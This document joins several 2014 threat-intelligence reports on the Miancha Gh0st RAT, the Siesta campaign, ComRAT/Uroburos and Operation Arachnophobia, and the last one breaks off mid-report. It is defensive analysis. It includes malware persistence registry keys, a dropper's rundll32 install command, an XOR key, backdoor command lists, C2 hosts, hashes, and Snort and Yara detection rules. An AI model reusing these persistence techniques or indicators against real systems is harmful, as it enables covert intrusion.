China (PRC) hackers to mean +anti Antivirus +detection + or +Antivirus avoidance +; Symantec[3] have named the detection for this +code +Backdoor.Miancha +, where Mi +, likely shorthand for +) similarly +means +Antivirus avoidance +. The installer is responsible for the malware persistence +mechanism, adding entries to the registry in the following locations, depending on +Windows Version: +Miancha Persistence Registry Keys +Windows Vista and later +HKEY_USERS\.default\Software\Classes\CLSID\{ECD4FC4D5213-11D0-B792-00A0C90312E1}\InProcServer32\@ = +expand:"C:\WINDOWS\temp\install.ocx" +Prior to Windows Vista +HKEY_USERS\.default\Software\Classes\CLSID\{B12AE898D056-4378-A844-6D393FE37956}\InProcServer32\@ = +expand:"C:\WINDOWS\temp\install.ocx" +The installer will also determine the system architecture (32- or 64-bit) and then +deobfuscate the relevant loader DLL to the path +C:\Windows\temp\install.ocx +ensuring the malware is launched on system start-up. Oddly, this file is padded with null +bytes, resulting in a 25 megabyte file. +Repackaged Update +GoMPLAYERJPSETUP.EXE (a9225e059d9dace1b259bceec7f48dae) +Real GOM Player Installer +GOMPLAYERJPSETUP_JP.EXE (1ff3b3628e40f0215afacf482ba17782) +Obfuscated Malware Loaders +dll.tmp (d5548e1913950a42a04debcac4222bd2) +dll64.tmp (01f7b465242237bd3d31d39767aa68e0) +Self-extracting RAR Archive containing Malware +GOMPLAYERBETASETUP_JP.exe (db79a93448acac8786581858f3edc36a) +Malicious Installer +install.exe (0ae82fd94836815a1e8d284ccb75109d) +Obfuscated Implant Code +instructions.pdf (569071c45f47b7fb7a75f30bc07d5739) +instructions64.pdf (55474f8e26f2b6fc3b5d78ce9a77b0b0) +The deployment chain of the Miancha Gh0st variant +3 http://www.symantec.com/security_response/writeup.jsp?docid=2014-012407-3922-99 +TLP: WHITE +Page 6 / 11 +TLP: WHITE +The main implant code is stored in files named instructions.pdf and instructions64.pdf; +not PDF documents but instead DLLs obfuscated with a one-byte XOR with 0x14, similar +to the malware loader DLLs. The loader, referred to by the malware author as + (shell), +reads and deobfuscates the main implant code which then communicates with the +attacker-controlled server at testqweasd.tk (211.43.220.89) on TCP port 443. The main +implant code is referred to as +Black on White +), a term used in the PRC hacking +community to denote the act of Antivirus avoidance through the loading of malicious +black + code via non-malicious or trusted +white + code. This is a practice recently +illustrated through the deployment of the PlugX trojan, utilising DLL load order hijacking +alongside a signed (trusted) executable. +Analysis of this malware revealed it to be a variant of the Gh0st RAT, often used by +Chinese actors (including those who are state-motivated or directly state-sponsored). +This specific variant shows similarities to that used during the VOHO campaign[4], where +Gh0st RAT was spread via watering hole attacks utilising vulnerable websites belonging +to financial services and technology companies. Specifically, the initial five bytes of the +communications (often used to denote a campaign or victim) are +HTTPS +, amended +from the original +Gh0st +; the same as the traffic produced by the VOHO Gh0st variant. +In addition to delivering system-specific details back to the attacker, Gh0st RAT provides +the capability to deploy additional malware, enabling the harvesting of sensitive data +and enabling the further propagation throughout the infected network. +4 https://blogs.rsa.com/voho-apt-campaign-update/ +TLP: WHITE +Page 7 / 11 +TLP: WHITE +3.2.2 Detection +To enable rapid response, the following Snort signature can be deployed: +alert tcp $HOME_NET any -> $EXTERNAL_NET 53,80,443,1080 (msg:"gh0st RAT 'HTTPS' variant +(aka Backdoor.Miancha)"; flow:established,to_server; content:"HTTPS"; depth:5; rawbytes; +classtype:trojan-activity; sid:xxx; rev:1;) +Additionally, the following Yara signature should identify both encoded payloads and +the active implant in memory: +rule Trojan_W32_Gh0stMiancha_1_0_0 +strings: +$0x = { 57 5b 5a 5a 51 57 40 34 31 67 2e 31 70 34 5c 40 40 44 3b 25 3a 19 1e 5c 7b +67 60 2e 34 31 67 2e 31 70 19 1e 55 77 77 71 64 60 2e 34 3e 3b 3e 19 1e 57 7b 7a 60 71 7a +60 39 40 6d 64 71 2e 34 60 71 6c 60 3b 7c 60 79 78 19 1e 44 66 7b 6c 6d 39 57 7b 7a 7a 71 +77 60 7d 7b 7a 2e 34 5f 71 71 64 39 55 78 7d 62 71 19 1e 57 7b 7a 60 71 7a 60 39 78 71 7a +73 60 7c 2e 34 24 19 1e 19 1e } +$1 = { 5c e7 99 bd e5 8a a0 e9 bb 91 5c } +$1x = { 48 f3 8d a9 f1 9e b4 fd af 85 48 } +$2 = "DllCanLoadNow" +$2x = { 50 78 78 57 75 7a 58 7b 75 70 5a 7b 63 } +$3x = { 5a 61 79 76 71 66 34 7b 72 34 67 61 76 7f 71 6d 67 2e 34 31 70 } +$4 = "JXNcc2hlbGxcb3Blblxjb21tYW5k" +$4x = { 5e 4c 5a 77 77 26 7c 78 76 53 6c 77 76 27 56 78 76 78 6c 7e 76 26 25 60 4d +43 21 7f } +$5 = "SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==" +$5x = { 47 51 52 47 46 52 70 56 41 7f 42 77 46 51 42 40 45 25 5e 5e 41 52 46 5e 40 +24 21 77 41 27 78 6e 70 53 42 60 4c 51 5a 78 76 7a 46 6d 4d 43 6c 45 77 79 2d 7e 4e 4c 5a +6e 76 27 5e 77 59 55 29 29 } +$6 = "C:\\Users\\why\\" +$6x = { 57 2e 48 41 67 71 66 67 48 63 7c 6d 48 } +$7 = "g:\\ykcx\\" +$7x = { 73 2E 48 6D 7F 77 6C 48 } +$8 = "(miansha)" +$8x = { 3C 79 7D 75 7A 67 7C 75 3D } +$9 = "server(\xE5\xA3\xB3)" +$9x = { 7C 2E 48 26 24 25 27 3A 25 25 3A 26 21 48 67 71 66 62 71 66 3C F1 B7 A7 3D +48 46 71 78 71 75 67 71 48 67 71 66 62 71 66 3A 64 70 76 } +$cfgDecode = { 8a ?? ?? 80 c2 7a 80 f2 19 88 ?? ?? 41 3b ce 7c ??} +condition: +any of them +TLP: WHITE +Page 8 / 11 +TLP: WHITE +4 Appendix A + File Metadata +Gh0stMiancha Installer +0ae82fd94836815a1e8d284ccb75109d +SHA1 +bcba2a4d55d860f0bca3b9f80a5deb2dd69f000c +SHA256 +b2f9e2f7c07235a6ea03e90ba591f0a43d38d8ff8ee6583473b6fbb63831619d +Size (bytes) +13314 +Compile Time +2013-11-22 12:19:48 UTC +In-the-wild Filenames +install.exe +PDB String +g:\ykcx\install(miansha)\Release\install.pdb +Obfuscated TrojanLoader:W32/Gh0stMiancha +d5548e1913950a42a04debcac4222bd2 +SHA1 +ac48bc2deefd30dad762a23e85409a7eec48b723 +SHA256 +3d43f7fab3c8f574e2790c2d97f85fa87f0d53e412c995462e53348b4fc34b74 +Size (bytes) +10299 +Compile Time +In-the-wild Filenames +dll.tmp +TrojanLoader:W32/Gh0stMiancha +04e7361323b431f7c9f86388f316bbea +SHA1 +e3c095c7ace563b41b3f4310f3de69e47c86fd03 +SHA256 +73ef70f1e80e32341eebcb3b1084cf896f6b1aa701b7a6c7abcb9293500d84ae +Size (bytes) +10299 +Compile Time +2013-11-26 09:34:10 UTC +In-the-wild Filenames +install.ocx +PDB String +h:\2013.11.25\server( +)\Release\server.pdb +Obfuscated TrojanLoader:W64/Gh0stMiancha +01f7b465242237bd3d31d39767aa68e0 +SHA1 +db4ec59bf7f34a21f9dc7f2ded68c616f7c0fe47 +SHA256 +ed39c1d86ff8cfe18ef58e850d205a678d255150324b00661b91448173c94900 +Size (bytes) +12347 +Compile Time +In-the-wild Filenames +dll64.tmp +TrojanLoader:W64/Gh0stMiancha +008fbd0fde06edb31fc7eecdae1a3030 +SHA1 +b9ae0a079cd1dae96425ced4bb96ba0f71c87a7a +TLP: WHITE +Page 9 / 11 +TLP: WHITE +SHA256 +cc8d38d3cc214ff3ad10d6859a88e018b1f7e0ed6df7d04a6f4368bda851ba14 +Size (bytes) +12347 +Compile Time +2013-11-26 11:47:39 UTC +In-the-wild Filenames +install.ocx +PDB String +C:\Users\why\Desktop\server( +)\x64\Release\server.pdb +Obfuscated Trojan:W32/Gh0stMiancha +569071c45f47b7fb7a75f30bc07d5739 +SHA1 +540bb9d2dee8f4e10e5ae0a5cc900b346a57a198 +SHA256 +8a00b2aefdcd0bb22013bbe9c7941fa16af8246e545e1522622006b9c88ca716 +Size (bytes) +169019 +Compile Time +In-the-wild Filenames +instructions.pdf +Trojan:W32/Gh0stMiancha +916b1a07efb145c450b4c13540be6c3e +SHA1 +7984639beb4e9870301d3b44a68b4346f9a6b826 +SHA256 +f26c2e9bee680f8e4d7afd73e2984a6697263334d2f0049a40e050d75293035e +Size (bytes) +169019 +Compile Time +2013-12-06 08:08:28 UTC +In-the-wild Filenames +PDB String +h:\2013.11.25\ +\server(update.dll)(instructions.pdf)\Release\server.pdb +Obfuscated Trojan:W64/Gh0stMiancha +55474f8e26f2b6fc3b5d78ce9a77b0b0 +SHA1 +3f714c33992e906e69df2d5d4971beaed336d9f4 +SHA256 +27e5670f68ff68acc80716c6870f4e5d06c471791f087d5b9b7613f8dc700037 +Size (bytes) +233019 +Compile Time +In-the-wild Filenames +instructions64.pdf +Trojan:W64/Gh0stMiancha +1d2c77f0f8a715de09ce6fae5fc800d4 +SHA1 +30784735763b060a39f76c29439a6aebbf6a4b9b +SHA256 +2fdf454f6b1c82d757d054bea5f0438f5da1ecd9e5059610d3d4b74e75a7c8b0 +Size (bytes) +233019 +Compile Time +2013-12-06 08:10:34 UTC +In-the-wild Filenames +PDB String +C:\Users\why\Desktop\server(update.dll)(instructions.pdf)x64\x64\Release\server.pdb +TLP: WHITE +Page 10 / 11 +TLP: WHITE +Context Information Security - Threat Intelligence - threat@contextis.co.uk +London (HQ) +Cheltenham +sseldorf +Melbourne +4th Floor +Corinth House +1.OG +4th Floor +30 Marsh Wall +117 Bath Road +Adersstr. 28 +155 Queen Street +London E14 9TP +Cheltenham GL53 7LS +40215 D +sseldorf +Melbourne VIC 3000 +United Kingdom +United Kingdom +Germany +Australia +TLP: WHITE +Page 11 / 11 +The Siesta Campaign: A New Cybercrime Operation Awakens +In the past few weeks, we have received several reports of targeted attacks that exploited various +application vulnerabilities to infiltrate various organizations. Similar to the Safe Campaign, the campaigns +we noted went seemingly unnoticed and under the radar. The attackers orchestrating the campaign we call +the Siesta Campaign used multicomponent malware to target certain institutions that fall under the +following industries: +Consumer goods and services +Energy +Finance +Healthcare +Media and telecommunications +Public administration +Security and defense +Transport and traffic +Threat actors don +t always rely on complex attack vectors to infiltrate an organization +s network. Attackers +can also make use of basic social engineering techniques for their victims to take the bait, such as in our +case study below. +The Siesta Campaign: A Case Study +We are currently investigating an incident that involved attackers sending out spear-phishing emails +addressed to executives of an undisclosed company. These emails were sent from spoofed email addresses +of personnel within the organization. Instead of using attachments and document exploits, this specific +campaign served their malware through a legitimate-looking file download link. +To lure the target into downloading the file, the attacker serves the archive under a URL path named after +the target organization +s name as cited below: +http://{malicious domain}/{organization name}/{legitimate archive name}.zip +This archive contains an executable (TROJ_SLOTH) disguised as a PDF document. When executed, it +drops and opens a valid PDF file, which was most probably taken from the target organization +s website. +Along with this valid PDF file, another malicious component is also dropped and executed in the +background. +This backdoor component is named google{BLOCKED}.exe. (Due to the ongoing investigation, we are +unfortunately unable to share hashes and filenames at this time.) This backdoor connects to +http://www.micro{BLOCKED}. com/index.html, which are its command-and-control (C&C) servers. +Trend Micro identifies these samples as BKDR_SLOTH.B. +At this point, the malware begins waiting for additional commands from the attacker. The encrypted +commands that are accepted are: +Sleep: +Commands the backdoor to sleep for specified number of minutes +We have received a sleep command of +sleep:120 + during our analysis which means that the +malware will wait for 2hrs before establishing a connection again to the C&C server +Download: +Commands the backdoor to download and execute a file (most probably another Win32 +executable) from a specified URL +The C&C servers used in this campaign are found to be newly registered and also short-lived, making it +difficult for us to track the malware +s behavior. +Based on our research, we found 2 variants of the malware used in this campaign. Although not exactly +alike, the behaviors are nearly identical. +One of the similar samples is a file named Questionaire Concerning the Spread of Superbugs February +2014.exe (SHA1: 014542eafb792b98196954373b3fd13e60cb94fe). This sample drops the file +UIODsevr.exe, its backdoor component which behaves similarly as BKDR_SLOTH.B with the addition of +communicating to its C&C at skys{BLOCKED}com. These samples are identified by Trend Micro as +BKDR_SLOTH.A. +Both variants excessively use Sleep calls, which renders the malware dormant for varying periods of time, +hence the campaign name +Siesta + (which means to take a short nap in Spanish). Commands are being +served through HTML pages using different keywords as listed below: +Variant 1 +prefix: +>SC< +Variant 2 +prefix: +longDesc= +suffix: +.txt +Listed below are the backdoor commands we were able to see from our analysis: +Variant 1 +run1 + open a remote shell +run2 + pipe shell commands from URL1 +run3 + pipe shell commands from URL2 +http + pipe shell commands from C2 + sleep for specified number of minutes +Variant 2 +sleep: + sleep for specified number of minutes +download: + download and execute another executable from C2 +Attribution +Attribution of campaigns and attack methods can often be difficult. We were able to identify this new +campaign through inspecting hashes, C&Cs, registrants, commands, and additional information. +Figure 1. Attribution Graph (click the thumbnail for full view) +During the course of our investigation into this new campaign, we investigated the malware dropped. We +quickly noticed the registrant of sky{BLOCKED}.com is also the same registrant as +micro{BLOCKED}.com and ifued{BLOCKED}.net. This individual used the name Li Ning and others with +an email address of xiaomao{BLOCKED}@163.com. This individual also recently registered 79 additional +domains. There are a total of roughly 17,000 domains registered with this same email address. +Figure 2. Domains registered under the name Li Ning, based on Whois data +Conclusion +Early detection is crucial in preventing targeted attacks from exfiltrating confidential company data. +Organizations and large enterprises need an advanced threat protection platform like Trend Micro + Deep +Discovery, which can mitigate the risks posed by targeted attacks through its various security technologies +and global threat intelligence. At the heart of our Custom Defense solution is Deep Discovery which +provides real-time local and global intelligence across the attack life cycle. This can help IT administrators +understand the nature of the attack they are dealing with. +Trend Micro blocks all related threats, emails and URLs associated with these attacks. As always, we +advise users to exercise caution when opening emails and links. +With additional insights and analysis from Kervin Alintanahin, Dove Chiu, and Kyle Wilhoit. +The Uroburos case: new sophisticated RAT identified +In February 2014, the experts of the G DATA SecurityLabs published an analysis of Uroburos, the +rootkit with Russian roots. We explained that a link exists between Uroburos and the Agent.BTZ +malware, which was responsible for "the most significant breach of U.S. military computers ever." +[1] Nine months later, after the buzz around Uroburos, aka Snake or Turla, we now identified a new +generation of Agent.BTZ We dubbed it ComRAT and, by now, analyzed two versions of the threat +(v3.25 and v3.26). +As reported earlier this year, Agent.BTZ used the same encoding key and the installation log file name as Uroburos. +ComRAT, in its version 3.25, shows the same behavior. Furthermore, the attackers also shared a C&C domain. The +latest version of ComRAT known to us (v3.26) uses a new key and does not create the installation log file, in order to +complicate the analysis and to disguise the link between the two cases. +Another very interesting fact: the attackers use COM Object hijacking, the same persistence mechanism as +COMpfun, which we described recently. +Taken everything into consideration, the indications we saw during our analyzes lead to the supposition that the +group behind Agent.BTZ and Uroburos is still active and is pursuing the Agent.BTZ path once more to improve and +change the RAT. +Dropper +The analyzed file is the latest version we identified: v3.26. The version identification is described in the chapter +files +. The major difference between this version and the older version(s) will be described there. +File installation +The first task of the malware is to install the file credprov.tlb in %APPDATA%\Microsoft\. This file is the main +payload of the malware. The dropper executes the following command in order to install a second file: +rundll32.exe %APPDATA%\Microsoft\credprov.tlb,Install %APPDATA%\Microsoft\shdocvw.tlp +The second file is shdocw.tlp. The two files are Microsoft Windows dynamic libraries. +Persistence +To be started during the boot process of the infected machine, the malware creates the following registry key: +HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32 = +%APPDATA%\shdocvw.tlp +This registry key is used to associate the library shdocvw.tlp to the object 42aedc87-2188-41fd-b9a3-0c966feabec1 +as previously explained in the article about COMpfun. The purpose is to load the library into each and every process +executed on the infected system. +Dropper +s log file +If the version of the malware is older than 3.26, the dropper creates an additional file called winview.ocx. We +noticed that the file name is still the same as the file name used by Agent.BTZ in the past. The file is xored with the +following obfuscation key (used by both, Uroburos and Agent.BTZ): +1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s +Here is the decoded log file content: +user1@gdata$ ./decode.py winview.ocx +Log begin: 06.11.2014 22:55:55 +TVer=2.2 +06.11.2014 22:55:55 TVer=2.3 +06.11.2014 22:55:55 CFG: CFG_4 +06.11.2014 22:55:55 User: user1 +06.11.2014 22:55:55 Machine: x86 +06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\shdocvw.tlb [2] +06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\oleaut32.dll [2] +06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\oleaut32.tlb [2] +06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\credprov.tlb [2] +06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\libadcodec.dll [2] +06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\libadcodec.tlb [2] +06.11.2014 22:55:55 Writing C:\Documents and Settings\user1\Application Data\\Microsoft\\shdocvw.tlb 51200B +06.11.2014 22:55:56 Writing C:\Documents and Settings\user1\Application Data\\Microsoft\\credprov.tlb +260096B Ok +06.11.2014 22:55:57 Exit code1 0 +06.11.2014 22:55:57 Writing 3072B Ok +We can notice that the malware checks if an older version is installed on the system and if this is the case, the +dropper removes the older version. In contrast to this, in our Uroburos analysis, we found out that Uroburos does +not install itself in case a version of Agent.BTZ was found on a system. +Execution flow and features +During the startup of the infected machine, the shdocvw.tlp library is loaded into all processes. If the process is +explorer.exe, this library will load the other library called credprov.tlb. This library is the real payload. Its features +are common for a Remote Administration Tool (RAT): +command execution; +file download; +file upload; +information gathering. +ComRAT +s communication to the command and control server is performed by the browser process and not by +explorer.exe in order to avoid being blocked by a firewall on the system or any additional security products. The +communication between the processes is performed by named pipe. +Log files +Two log files are created during the malware execution: mskfp32.ocx and msvcrtd.tlb. If the malware version is +older than 3.26, the xored key is the same as the dropper key. Concerning the version 3.26, the malware uses a new +non-ASCII key. Here is an example of decoded log file for the version 3.26: +user1@gdata$ ./decode.py mskfp32.ocx + + +2.1 +0 + + + + + + + + + + + + + + + + +' + +We can identify the version of the malware thanks to the PVer flag. The command and control server information is +stored in the registry, not in an XML, and encoded: +HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionMRU\IPlace +For example, in the analyzed sample the CC is: weather-online.hopto.org. This domain is far from unknown, as it +has been mentioned in BAE System +s Uroburos (aka Snake) analysis paper as C&C server domain for the Uroburos +malware. Another connection between the cases. +If the malware version in lower than 3.26, the XML log file contains the command and control server information: + + + + + + +Summary +Let us summarize the similarities and differences between Agent.BTZ, Uroburos and ComRAT as far as we can: +Similarities: +Before version 3.26: +use of the same xor key +use of the same file name for the log +On all versions: +Some parts of the code are exactly the same (appears to be copy & paste) +That is the reason why the sample is detected as Uroburos (aka Turla). The same code was used by Agent.BTZ +and also the dll loaded into userland during the Uroburos analysis. +Command and control server domains are shared between Uroburos and ComRAT. +Differences: +In version 3.26, the author changed the key and remove the known file name +This action can be an indication for the developer +s effort to hide this connection +The main difference is the design +Agent.BTZ is a common RAT, a simple library executed on an infected machine. ComRAT is more complex +and cleverer. The malware is loaded into each and every process of the infected machine and the main part +(payload) of the malware is only executed in explorer.exe. Furthermore, the C&C communication blends into +the usual browser traffic and the malware communicates to the browser by named pipe. It is by far a more +complex userland design than Agent.BTZ. +These differences, mainly the more complex design, lead us to give this malware a new name. +The analyzed dropper of v3.25 has a compilation date of February 6th 2014. The more recent dropper of v3.26, +which has all the mentioned changes implemented, reveals a compilation date of January 3rd 2013. We suspect that +this date is spoofed in order to disguise that this is in fact a newer version. +Conclusion +This analysis shows that even after the Uroburos publication in February 2014, the group behind this piece of +malware seems to be still active. In any case, the ComRAT developers implemented new mechanisms, changed keys, +removed log files to hide their activities and tried to disguise the connections between the RAT ComRAT, the rootkit +Uroburos and the RAT Agent.BTZ as much as possible. However, we can still follow the evolution of the malware by +comparing the versions. +The persistence mechanism discovered in October 2014 makes it possible to intrude into a system in a really discreet +manner and we estimate that other actors will use the same persistence mechanism in the near future. +We will definitely keep our ears and eyes open and continue analyzing. +51e7e58a1e654b6e586fe36e10c67a73 (dropper v3.25) +e6ce1f962a47479a86ff2e67129f4ecc (lib1, v3.25) +ec7e3cfaeaac0401316d66e964be684e (lib2, v3.25) +0ae421691579ff6b27f65f49e79e88f6 (dropper v3.26) +255118ac14a9e66124f7110acd16f2cd (lib1 v3.26) +b407b6e5b4046da226d6e189a67f62ca (lib2, v3.26) +8ebf7f768d7214f99905c99b6f8242dc (dropper, unknown version) +9d481769de63789d571805009cbf709a (dropper, unknown version) +83a48760e92bf30961b4a943d3095b0a (lib 64-Bit, unknown version) +ea23d67e41d1f0a7f7e7a8b59e7cb60f (lib 64-Bit; unknown version) +Paths +%APPDATA%\\Microsoft\\shdocvw.tlb +%APPDATA%\\Microsoft\\oleaut32.dll +%APPDATA%\\Microsoft\\oleaut32.tlb +%APPDATA%\\Microsoft\\credprov.tlb +%APPDATA%\\Microsoft\\libadcodec.dll +%APPDATA%\\Microsoft\\libadcodec.tlb +Registry +HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32 +Command and control +weather-online.hopto.org +webonline.mefound.com +sportacademy.my03.com +easport-news.publicvm.com +new-book.linkpc.net +------------------------------- +Related articles: +October 30th 2014: COM Object hijacking: the discreet way of persistence +June 2nd 2014: Analysis of Uroburos, using WinDbg +May 13th 2014: Uroburos rootkit: Belgian Foreign Ministry stricken +March 3rd 2014: Uroburos - Deeper travel into kernel protection mitigation +February 28th 2014: Uroburos - highly complex espionage software with Russian roots +------------------------------[1] www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain +Operation +Arachnophobia +Caught in the Spider +s Web +Rich Barger | Cyber Squared Inc. +Mike Oppenheim | FireEye Labs +Chris Phillips | FireEye Labs +Contents +Team Introduction....................................................................................................................................................... 1 +Key Findings.................................................................................................................................................................. 1 +Summary....................................................................................................................................................................... 1 +Backstory......................................................................................................................................................................2 +VPSNOC/Digital Linx/Tranchulas............................................................................................................................ 4 +Technical Observations...............................................................................................................................................8 +Conclusion....................................................................................................................................................................11 +Appendix A: Malware Details................................................................................................................................... 12 +Appendix B: MD5 Hashes and Malware Table........................................................................................................ 17 +Appendix C: VPSNOC Email Header Analysis....................................................................................................... 20 +Appendix D: Inconsistencies Observed................................................................................................................... 21 +Appendix E: VPSNOC & Digital Linx Associations.................................................................................................23 +Appendix F: Personas.................................................................................................................................................24 +Persona #1................................................................................................................................................................................ 24 +Persona #2................................................................................................................................................................................ 27 +Appendix G: Tranchulas........................................................................................................................................... 30 +Digital Appendix 1: Research Collateral...................................................................................................................32 +Digital Appendix 2: Raw Email Communications...................................................................................................33 +Digital Appendix 3: Screenshot Archives................................................................................................................34 +Digital Appendix 4: Maltego Visualization.............................................................................................................35 +OPERATION ARACHNOPHOBIA +Team Introduction +Cyber Squared Inc. +s ThreatConnect Intelligence Research Team (TCIRT) tracks a number of threat groups around the world. +Beginning in the summer of 2013, TCIRT identified a suspected Pakistani-origin threat group. This group was revealed by TCIRT +publicly in August 2013. In the months following the disclosure, we identified new activity. Cyber Squared partnered with experts +at FireEye Labs to examine these new observations in an attempt to discover new research and insight into the group and its +Operation +Arachnophobia +. The following report is a product of collaborative research and threat intelligence sharing between +Cyber Squared Inc. +s TCIRT and FireEye Labs. +Key Findings + While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently +point to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets and/or +those who are involved in India-Pakistan issues. + The threat actors utilized a hosting provider that is a Pakistani-based company with subleased VPS space within the U.S. for +command and control (C2). + The customized malware (BITTERBUG) used by these threat actors has only been observed hosted on and communicating with +two IP addresses operated by a Pakistan-based hosting provider. + Early variants of the BITTERBUG malware had build paths containing the strings +Tranchulas + and +umairaziz27 +Tranchulas is the name of a Pakistani security firm; Umair Aziz is the name of a Tranchulas employee. + Following the release of our blog post highlighting this activity and the malware +s build strings, the threat actors appear to have +modified their binary file paths to make them more generic. + Employees at both the Pakistan-based hosting provider and Tranchulas appear within each others + social networks. +Summary +On August 2, 2013, the TCIRT published the blog +Where There is Smoke, There is Fire: South Asian Cyber Espionage Heats + in which TCIRT identified custom malware, later dubbed BITTERBUG by FireEye, suspected to be linked to Pakistani-based +exploitation activity directed against Indian entities. We found debug path references to +Tranchulas +, which is also the name +of a Pakistani security company. Tranchulas claims to support +national level cyber security programs + and the development of +offensive and defensive cyber capabilities. At the time, the incident seemed to be an isolated one for TCIRT, but it was only the +beginning. Our suspicions of Tranchulas + involvement in the activity began to mount, based on a series of events that occurred +both before and after the release of our blog post. +During the past year, we communicated with Tranchulas and the Pakistan-based hosting provider. Suspicious responses and +oddly similar replies received from both companies to our inquiries, as well as anomalies in their email headers, prompted us to +research the companies further. Our research revealed: + The C2 hosting provider (VPSNOC) has likely been conducting business operations from within Pakistan, subleasing +infrastructure from U.S. providers. + VPNSOC and Tranchulas employees have maintained some type of undefined relationship given connections via social media. + Both organizations have employed or are affiliated with personnel who have offensive cyber expertise. + When TCIRT was initially contacted by Tranchulas following our original blog post, they denied any involvement in the activity. +Tranchulas maintained that they were being framed, and that they were already aware of the activity prior to both our blog post +and our contact. However, inconsistencies in their claims and their responses made such a scenario questionable. +OPERATION ARACHNOPHOBIA +Backstory +TCIRT began tracking a set of activity involving a BITTERBUG variant in May 2013. To our knowledge this customized malware +has only ever been observed hosted on and communicating with two command and control nodes: 199.91.173.431 and +199.91.173.45.2 3 According to Whois records, those IP addresses were registered to a web-hosting firm in Kansas City, +Missouri. Based on public records, this organization appears to be a legal entity chartered to conduct business in Missouri.4 +On July 24, 2013, TCIRT contacted the Kansas City-based hosting provider to notify them of the malicious activities emanating +from IP address 199.91.173.43. The hosting provider subsequently introduced5 TCIRT to their client VPNSOC, the customer +responsible for subleasing the IP address. Later that day, TCIRT received a response6 from support@vpsnoc.com providing +limited information on the server and related traffic (Figure 2). When TCIRT sent follow-up communications, VPSNOC did not +respond, further increasing our suspicions. +Figure 2: VPSNOC Response +https://www.virustotal.com/en/ip-address/199.91.173.43/information/ +https://www.virustotal.com/en/ip-address/199.91.173.45/information/ +http://www.shodanhq.com/search?q=93c546-b1-4dbcbc6438380 +https://bsd.sos.mo.gov/BusinessEntity/BusinessEntityDetail.aspx?page=beSearch&ID=2936099 +Digital Appendix 2: Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500).eml +Digital Appendix 2: Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500).eml +OPERATION ARACHNOPHOBIA +While reviewing the metadata of VPSNOC +s July 24, 2013 email response, we noticed the email was sent from a +0500 time zone. +This time zone usage is consistent with Pakistan +s time zone.7 +The TCIRT published details of the initial activity in the aforementioned blog post on August 2, 2013. Four days later on August 6, +2013, the Tranchulas Chief Executive Officer, Zubair Khan, contacted us regarding the blog post and its subsequent press coverage.8 +Khan submitted +Response_ThreatConnect.docx +9 as an explanation of the observed activity to both the media and the +TCIRT indicating that the debug paths using +Tranchulas + and +umairaziz27 + was +done by developer of malware to portray +wrong impression about Tranchulas and mislead malware analysts +. Notably, Khan included a screenshot of an email message. The +message was reportedly a response from VPSNOC to an email message from Tranchulas sent on July 21, 2013, purportedly to notify +VPSNOC of the same malicious activity identified by TCIRT. However, we noted certain anomalies in this message. +Figure 3: Screenshot (image1.png) included within Response_ThreatConnect.docx +As seen in Figure 3 the +email message + 10 was +sent + to VPSNOC from an unidentified tranchulas.com email address on +Tue, +Jul 21, 2013 at 11:36 PM. + July 21, 2013 was not a Tuesday and in fact was a Sunday. The mismatched date suggests that this +email message was potentially modified in order to support the claim that Tranchulas was aware of, and had already reported the +exploitation activity. TCIRT speculates that +Tuesday + was hastily chosen because our own official notification to VPSNOC was sent +on Wednesday the 24th. In addition, the +response + received by Tranchulas is nearly identical to that received by TCIRT. We believe +that Tranchulas may have obtained information about TCIRT +s notification to VPSNOC through a pre-established relationship.11 +Digital Appendix 2: Raw Email Communications (Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500.eml) & +(Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500.eml) +http://www.theregister.co.uk/2013/08/07/india_cyberespionage/ +Digital Appendix 2: Raw Email Communications (Email#3 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up +(Date- Wed, 7 Aug 2013 03-18-57 +0500).eml) +Digital Appendix 1: Research Collateral image1.png (MD5:d224f39f8e20961b776c238731821d16) within Response_ThreatConnect.docx +Appendix F: Personas (Persona #2) +OPERATION ARACHNOPHOBIA +The TCIRT responded to Mr. Khan +s official explanation with a follow-up inquiry, offering Khan an opportunity to explain the notable +date inconsistency within the email screenshot. The TCIRT also requested that Mr. Khan share the actual email message with the +original attached headers. Mr. Khan did not address the TCIRT question, but rather deferred our request to Mr. Hamza Qamar, +a Penetration Testing Team Lead at Tranchulas. On August 15, 2013, three days later, Qamar responded to TCIRT with a brief +denial12 of any modifications to the screenshot (other than email address anonymization) and specifically referred TCIRT back to +VPSNOC support (support@vpsnoc.com) for any follow up questions. +Astonished by this dismissal and deflection, TCIRT immediately began to explore the relationship between VPSNOC and Tranchulas. +VPSNOC/Digital Linx/Tranchulas +During our research into VPSNOC, we identified that it is actually based in, or conducts partial operations from within, Pakistan. +The company only gives the impression of operating from Kansas City through marketing and the use of leased IP space (Figure +4). The Whois records for vpsnoc.com revealed that the domain was registered by Digital Linx Hosting. Digital Linx is also a +Pakistan-based hosting company (Figure 5). +Figure 4: Screenshot of VPSnoc.com About us page +Digital Appendix 2: Raw Email Communications (Email#4 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up (Date- Thu, 15 